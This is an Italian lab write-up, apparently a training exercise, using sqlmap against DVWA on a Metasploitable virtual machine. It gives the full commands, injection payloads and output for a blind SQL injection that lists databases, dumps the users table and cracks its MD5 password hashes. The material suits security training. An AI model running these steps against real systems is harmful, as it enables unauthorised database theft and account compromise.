Comando pere Enuerare i sistemi di archiviazione(DataBase) della metasploitable.

$ sqlmap -u "http://10.0.2.3/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=49bd86aebf155bc301df5678bc2b04fd; security=low" --batch -dbs

Con le iniezioni SQL che ha provato sqlmap, ha identificato **7 database**, tra cui dvwa (quello che ci interessa) e information_schema, mysql, ecc

---

🔐 **Prossimi passi per estrarre le password**, Ora possiamo:

1. **Estrarre le tabelle dal database** dvwa
2. **Trovare la tabella degli utenti** (probabilmente users)
3. **Dumpare le colonne con username e password hash**
4. **Poi usare** hashcat **o** john **per crackare gli hash (MD5 come nell'esercizio)**

```
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://10.0.2.3/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID
=49bd86aebf155bc301df5678bc2b04fd; security=low" --batch -dbs
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.9.8#stable}
|_ -| . [*]     | .'| . |
|___|_  [*]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It
 is the end user's responsibility to obey all applicable local, state and federal laws. Developers assu
me no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:27:20 /2026-01-15/

[16:27:20] [INFO] resuming back-end DBMS 'mysql'
[16:27:20] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1304 FROM (SELECT(SLEEP(5)))HoEr) AND 'YDIY'='YDIY&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x7171717871,0x6d516a706c5858506d676e42796556686d574852635a4
a576a4750714d564a5542674472456e6973,0x71716b7871),NULL-- -&Submit=Submit
---
[16:27:20] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.12
[16:27:20] [INFO] fetching database names
[16:27:20] [WARNING] reflective value(s) found and filtering out
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195

[16:27:20] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.2
.3'

[*] ending @ 16:27:20 /2026-01-15/
```

Comandi sqlmap per procedere:

1. Elenca le tabelle nel database dvwa:

```
sqlmap -u "http://10.0.2.3/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="PHPSESSID=49bd86aebf155bc301df5678bc2b04fd; security=low" \
--batch -D dvwa –tables
```

2. Vedere le colonne della tabella users (o simile):

```
sqlmap -u "http://10.0.2.3/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="PHPSESSID=49bd86aebf155bc301df5678bc2b04fd; security=low" \
--batch -D dvwa -T users –columns
```

3. Dumpare i dati (user e password hash):

```
sqlmap -u "http://10.0.2.3/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="PHPSESSID=49bd86aebf155bc301df5678bc2b04fd; security=low" \
--batch -D dvwa -T users -dump --batch
```

```
[*] starting @ 16:47:11 /2026-01-15/

[16:47:11] [INFO] resuming back-end DBMS 'mysql'
[16:47:11] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1304 FROM (SELECT(SLEEP(5)))HoEr) AND 'YDIY'='YDIY&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x7171717871,0x6d516a706c5858506d676e42796556686d574852635a4a576a4750714d564a5542674472456e6973,0x71716b7871),NUL
---
[16:47:11] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL >= 5.0.12
[16:47:11] [INFO] fetching columns for table 'users' in database 'dvwa'
[16:47:12] [INFO] fetching entries for table 'users' in database 'dvwa'
[16:47:12] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[16:47:12] [INFO] using hash method 'md5_generic_passwd'
[16:47:12] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[16:47:12] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
[16:47:12] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[16:47:12] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
Database: dvwa
Table: users
[5 entries]
+---------+---------+-----------------------------------------------------+-----------------------------------------------------+-----------+------------+
| user_id | user    | avatar                                              | password                                            | last_name | first_name |
+---------+---------+-----------------------------------------------------+-----------------------------------------------------+-----------+------------+
| 1       | admin   | http://172.16.123.129/dvwa/hackable/users/admin.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password)         | admin     | admin      |
| 2       | gordonb | http://172.16.123.129/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)           | Brown     | Gordon     |
| 3       | 1337    | http://172.16.123.129/dvwa/hackable/users/1337.jpg  | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)          | Me        | Hack       |
| 4       | pablo   | http://172.16.123.129/dvwa/hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)          | Picasso   | Pablo      |
| 5       | smithy  | http://172.16.123.129/dvwa/hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password)         | Smith     | Bob        |
+---------+---------+-----------------------------------------------------+-----------------------------------------------------+-----------+------------+

[16:47:12] [INFO] table 'dvwa.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/10.0.2.3/dump/dvwa/users.csv'
[16:47:12] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.2.3'

[*] ending @ 16:47:12 /2026-01-15/
```

🔐 **Password in chiaro recuperate:**

Username	Hash MD5	Password (in chiaro)
admin	5f4dcc3b5aa765d61d8327deb882cf99	password
gordonb	e99a18c428cb38d5f260853678922e03	abc123
1337	8d3533d75ae2c3966d7e0d4fcc69216b	charley
pablo	0d107d09f5bbe40cade3de5c71e9e9b7	letmein
smithy	5f4dcc3b5aa765d61d8327deb882cf99	password

✅ **Obiettivo dell'esercizio raggiunto:**

- ✅ **Password hashate recuperate dal database** → Fatto tramite SQL injection (blind).
- ✅ **Identificazione tipo hash (MD5)** → Confermato da sqlmap.
- ✅ **Cracking delle password** → sqlmap ha usato un attacco dizionario integrato e ha trovato tutte le password in chiaro.
- ✅ **File di dump salvato** in /home/kali/.local/share/sqlmap/output/10.0.2.3/dump/dvwa/users.csv.